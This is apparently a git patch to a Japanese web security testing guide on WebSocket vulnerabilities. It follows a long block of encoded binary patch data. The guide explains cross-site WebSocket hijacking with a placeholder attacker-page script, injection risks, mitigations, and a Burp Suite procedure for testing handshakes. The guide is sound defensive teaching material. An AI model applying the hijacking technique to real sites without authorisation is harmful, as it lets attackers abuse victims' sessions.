z<5_L;ug%aLDKB~Rnr-Q)lo3g;#?E?RLTNA9>AkO*f2MFhOe}e#1mlg4%UV2^>vP|u zjfZC@!%KvyBU&6=l7Iyu;P+!A^aE|G+`6h*_b>|HSsnADprF#X6OT9z$tWT+fTfla zL0MaEJ*Uu-osA{s-;`EoeMq8%?AIN=NZ`=T&k>N`$F+UL-Wy;tk*8SfHl8xx^=N${ zm2ESTNbjE0vX)vv)5cs;9xgerYJ$%v{U3;^6dRKR2+6}WnXM$7smxEMsw?u-wL6sx zozHQ=rpl(n9H8Yfdv=KLZTDHX2;Omxd}GO1a$A}uE2C%7U}8aOFYWJD*BO2LiDHKq zPow6~nvfS*~9~bwz+# zLZ29lOch*xd2TSze=Jxj>Bw4bHswsr!(qOiH0*q^!a~pBm;#Zm%};Jw;!2dy!vn8Q z7cq4=R9O_&gBqzX%}Mu`1C+sn3b$(NWvm$PWAy@Yf!+~wXnZ%H1Rd2GSkSLH`_--U zV~t^m+8USsb5jfmXGgDg@alQ4wYvFany`h*RI#->@mkj12w|NIs!qDuD4N}!j?F71 zW?U6gTgYWCa@n$cyNH9z(6hQ$+2O*!um(UKQ8ZATFiGGsiXS3e1qR*cj@#yH4u3<+kXbqmuA zyP7^I?k+DT-E2PU!`+;yi8y)|!QJj}udp*+%}1i8PxPzefeIlJWwN5H=}dtsrmP>y z$BZCMa-4J7kA6(#?*&WR9v@8gYPW})Y^x_V8@(kLef5UwZE&zmVAvfgNbH<;u$+63 z?O1unvbK;XB5v98C6cnfcMsbDqqQF7p2;XY`w?a4cl}5jRBG%Lh_CKnZYczBLRiyp zsXvMOF;Z%;cZS#^?f}!A^(+SV$KZ2*Vc93UoFSmieH-qIMOIIwja`Z@Hy0b5Egp2+ z`2;*#!hVRGm^7Wxgm)mnH(QXU)OZCkh?h&;-hLNtN93Bh+z!&TWKgo%{{$OqD4KA6 zyKByl_@-x`U@ujJn*I|k;QV~9c!`mfwTG&bGD1_Q;d2N4?W8sP5+1tp#{dmWm}jnB z8Rtjzi)$&d2tL2le)>IPV)BZUozSQp8!F!P=CExZG2i~Ojc-pa29c`K_XU~mjvt&h zdhc>-kigKHPjRyBj3{`lVt^4VI6FHl894U)lrc0&AFeqY8W_+K+|D7%BVw-XAAf8+ ztptH>uXIgBQ3unHY=eF>a(sB4C{NT;AnG3)HekwQv*2&oLB~E(?qf=574<2&1KT3g zBm}1>dWN>V*M%}-4#u;|8@hO|kxJ-j@jO-J?vHD*#43++wWwF?5Fhupd!*SBT2MwJ zFVqo9!D2sC{nqh`-B5YJcW2F#8Uah^$Z_A5*NeI1R#7Fp32wX7_OpgGeFUht0+|`l z6uLz`N3?yD`K;-Zu+r0N5rodYQKOM4E=5&LYhUQ1v9a!#XTDJco3eko08u%aZ*>eV zIi0&kUkY+OMP{BPHKLgNGEI1nfB&_UI!sP;OjXcJi7ELO531~Cy+XLK+3=N3D~box z^EU$FGYm<4N+E&^qhZzA7eE2vKhb?L7;U-7CJ)Py_C}UW^nEm}yANs?UCsF+uLlhHwtWr_Z9qJ#^P|?m3#fU)5hwK=@ zk65Lh#}Q4>kfRmYpk&mD(bb8w2=d2E-3Z~*c?Bn=fZJto%PT5e0_aTGj;&+UY8O`$ z!DacL+9d7kNk%w9U2bk=2VE)7v*#U~x6P!gPzR6tlypitb^4PZyL`42#DQy&d9$Q+ z(Dl?uEgCeOB*{zIHe!Empzf0nqY6ZFZ5PgKUHI@U<^M~e#@lpfwqPJHEt?TNqX zAknk?xib2(ic(Az1?!07!Mm))A85TE##yUCA4+T?`JB;vkHqmr;{a z(K+&OO|9?yH5WaA*7h7nqs(t>gxfd?w-{qbiE<|juT_u0&W}JVwUf2AoYb`*%MKC*U0a;LL9(<4@TNh zQlI`?MHKUr5`gbdAbr>5?cc2ja0AN%y5-6z|KB=GXKG?Hd+`2x8(goN#4p4~NM1xI ztPAD7f$mVSgA-A3Hy#2vUQfDOxU}YHiyM=%pDGr7$C-hw zD=Raz?-t1s;IAOBIboR9Ne_41DWv$^_4=T`o*zJL0qv7zTrU8Tj^}rVBD%OL!^B+< zDW4ani9nR^XzDZjfO}~hWE2A0i$FiTRrGY-<<=l}sqCQ=-^>#!uxOi+LoV-`%jNeA z_wOK Date: Thu, 22 May 2025 10:16:58 +0900 Subject: [PATCH 2/2] =?UTF-8?q?=E6=96=87=E8=A8=80=E4=BF=AE=E6=AD=A3?= =?UTF-8?q?=E3=81=A8=E5=86=85=E5=AE=B9=E8=BF=BD=E5=8A=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- content/docs/websocket/_index.md | 35 ++++++++++++++------------------ 1 file changed, 15 insertions(+), 20 deletions(-) diff --git a/content/docs/websocket/_index.md b/content/docs/websocket/_index.md index 04ea95f..fc96a9f 100644 --- a/content/docs/websocket/_index.md +++ b/content/docs/websocket/_index.md @@ -1,15 +1,15 @@ # WebSocket ## 概要 -WebSocketは、クライアントとサーバー間で双方向通信を可能にする通信プロトコルです。HTTPとは異なり、WebSocketでは接続が確立された後、クライアントとサーバー間で自由にデータを送受信することが可能です。そのような特性から、リアルタイム性の高い機能を実装する際に広く利用されています。この章ではWebSocketに関する一般的な脆弱性や攻撃手法を一部例に挙げ、診断手法および対策を記載します。 +WebSocketは、クライアントとサーバー間で双方向通信を可能にする通信プロトコルです。HTTPとは異なり、WebSocketでは接続が確立された後、クライアントとサーバー間で自由にデータを送受信することが可能です。そのような特性から、リアルタイム性の高い機能を実装する際に広く利用されています。この章ではWebSocketに関する一般的な脆弱性や攻撃手法を例に挙げ、診断手法および対策を記載します。 ## 診断観点 ### Cross-site WebSocket hijacking (CSWSH) -Cross-site WebSocket hijacking (CSWSH)とは、攻撃者がユーザーのWebSocket接続を不正に利用する攻撃手法です。WebSocketにおけるCSRF脆弱性ともいえます。WebSocket接続における正当性の検証がCSRFトークンや同等のセキュリティ対策が行われず、セッションCookieのみに依存する場合に発生する可能性があります。また、WebSocket通信ではSame-Origin Policy(SOP)が適用されないため、サーバーがOriginヘッダーを適切に検証しない場合、異なるオリジンからの不正な接続を許可してしまうことも原因の一つです。 +Cross-site WebSocket hijacking (CSWSH)とは、攻撃者がユーザーのWebSocket接続を不正に利用する攻撃手法です。WebSocket接続における正当性の検証がCSRFトークンや同等のセキュリティ対策が行われず、セッションCookieのみに依存する場合に発生する可能性があります。また、WebSocket通信ではSame-Origin Policy(SOP)が適用されないため、サーバーがOriginヘッダーを適切に検証しない場合、異なるオリジンからの不正な接続を許可してしまうことも原因の一つです。 #### 攻撃の流れ -1. 攻撃者は悪意のあるWebページを用意 -攻撃者は、以下のようなスクリプトを含む悪意のあるWebページを作成します。 +1. 攻撃者は悪意のあるWebページを用意
+攻撃者は、以下のようなWebSocket接続を試みるスクリプトを含む悪意のあるWebページを作成します。 ``` // ターゲットへのWebSocket接続を確立 const ws = new WebSocket('wss://[target-server]/socket'); @@ -26,14 +26,15 @@ Cross-site WebSocket hijacking (CSWSH)とは、攻撃者がユーザーのWebSoc }; ``` -2. ユーザーが悪意のあるページへアクセス +2. 被害者が攻撃者のページにアクセス
ユーザーが攻撃者のWebページを開くと、スクリプトが実行され、ユーザーのセッションを使ってターゲットのWebSocketエンドポイントへの接続を確立します。このとき、被害者がターゲットへの認証済みであることを前提とします。 -3. 不正な操作が実行される +3. 不正な操作が実行される
WebSocket通信が確立されると、攻撃者のスクリプトによってWebSocketを経由した不正なデータの送受信が可能になります。 ### 入力検証不備とメッセージインジェクション -HTTPと同様にWebSocket通信においても入力データの検証が不十分な場合、攻撃者はWebSocketメッセージ内に悪意あるペイロードを混入させ、サーバまたは他のクライアントに対するインジェクション攻撃を実行できます。例えば、JSONメッセージ中のパラメータに悪意のあるクエリやスクリプトを埋め込むことで、SQLインジェクションやクロスサイトスクリプティング(XSS)、コードインジェクションなどを誘発する可能性があります。加えて、WebSocketはリアルタイム性を持つ常時接続の双方向通信プロトコルであるという性質上、攻撃が非常に速いペースで展開されやすく、特にサーバから他のクライアントへのブロードキャスト機能がある場合には、一人の攻撃者の悪意あるデータが複数ユーザーに伝播し、被害が急速に拡大する恐れがあります。WebSocketを利用するアプリケーションでは、入力データをサーバー側で厳密に検証し、適切な処理を行っているか確認する必要があります。 +HTTPと同様にWebSocket通信においても入力データの検証が不十分な場合、インジェクション攻撃のリスクがあります。攻撃者はWebSocketメッセージに悪意あるペイロードを含めることで、サーバや他のクライアントに対してSQLインジェクション、XSS、コードインジェクションなどを引き起こす可能性があります。さらに、WebSocketは常時接続の双方向通信かつリアルタイム性を持つプロトコルであるため、攻撃が非常に短時間で展開されやすいという特徴があります。 +WebSocketを利用するアプリケーションでは、入力データをサーバー側で厳密に検証し、適切な処理を行っているか確認する必要があります。 ### 暗号化 WebSocket通信は、接続開始時のWebSocketハンドシェイクにおいてはHTTPが使われますが、接続確立後、TCPベースの双方向通信に切り替わります。HTTPと同様に暗号化されていない通信(`ws://`)とSSL/TLSによる暗号化通信(`wss://`)が用意されています。 @@ -50,30 +51,28 @@ WebSocketプロトコル自体には独自の認証・認可の仕組みがあ ## 対策 - Originヘッダの検証 - - WebSocket通信でのSOPはブラウザのOriginヘッダー送信に依存しているため、サーバー側でその値を検証することが重要です。 + - WebSocket通信でのSOPはブラウザの`Origin`ヘッダー送信に依存しているため、サーバー側でその値を検証することが重要です。 - ただし、任意の変更が可能であるため、完全に信頼せず、他の対策と併用する必要があります。 - CSRFトークンによる正当性確認 - セッションCookieに基づく認証だけでは、攻撃者が正規ユーザーのセッションを悪用し、不正なWebSocket接続を確立できる場合があります。そのため、通信に推測不可能なランダムな値を付与して検証し、正当な通信であるか判定する必要があります。 - WSSの使用 - 常にセキュアなWebSocket (`wss://`) を使用し、通信をTLSで暗号化します。サーバー側で有効な証明書を設定してHTTPS上でWebSocketを提供し、クライアントにも`wss://`で接続させるようにします。またサーバー側の実装においても、TLS接続でないWebSocketのハンドシェイクリクエストは拒否することが望ましいです。 -- 認証トークン(JWT)の利用 -- メッセージの検証 -- 認証認可周り +- 認証・認可 + - WebSocketは接続確立後に認証ヘッダーを送れないため、接続時点での認証が重要です。セッションCookieだけに依存せずトークン(例:JWT)やチケットを用いた認証方式を採用することで、接続ごとの正当性をより厳密に検証できます。認証が通った後も、各メッセージの処理時にユーザーの権限(認可)を確認することが不可欠です。 ## 診断方法 ここでは、BurpSuiteを用いたCSWSHの診断手法の一例をご紹介します。 WebSocket接続のハンドシェイクを改ざんし、サーバ側の検証が適切に行われているか確認します。 -1. Websocket接続の確立 +1. Websocket接続の確立
WebSocket通信が発生する対象画面にアクセスし、`Proxy`→`HTTP history`を確認します。該当するハンドシェイクリクエストを確認し、ステータスコードが101(Switching Protocol)となっていることを確認してください。 -2. WebSocketメッセージ -`Proxy` → `WebSockets history`タブで通信内容を確認し、クライアントからサーバに対するメッセージを選択しRepeaterに送ります。 +2. WebSocketメッセージ
+`Proxy` → `WebSockets history`タブで通信内容を確認し、クライアントからサーバに対するメッセージを選択し`Repeater`に送ります。 -3. 接続試行 +3. 接続試行
Repeater画面で編集アイコンをクリックするとBurpが記録したWebSocket接続が一覧表示されます。この中から対象のWebSocket接続を選択し、`Clone`を実行します。 `Clone`を行うと、既に確立されたWebSocket接続のハンドシェイクが編集可能な状態で複製され、ウインドウに表示されます。ヘッダ等を任意に変更したうえで`Connect`をクリックすると、その内容でWebSocket接続を再試行できます。 - ![image1](./websocket_image1.png) このとき、例として以下の様なテストを実施できます。 @@ -84,10 +83,6 @@ Repeater画面で編集アイコンをクリックするとBurpが記録したWe アプリケーションロジックやWebSocketの認証・認可処理の実装に応じてテストを行い、サーバがセッション情報(Cookie等)のみを根拠にWebSocket接続を許可していないか、またはオリジン検証が適切かを確認してください。 サーバ側で適切な対策がされていない場合、ハンドシェイクが成功し、WebSocket接続が確立します。そのままメッセージの送受信が可能であれば、CSWSHのリスクが高いと判断できます。 -#### 拡張機能 -https://github.com/snyk/socketsleuth - - ## 参考 - https://portswigger.net/web-security/websockets - https://portswigger.net/burp/documentation/desktop/testing-workflow/websockets/manipulating-websocket-handshakes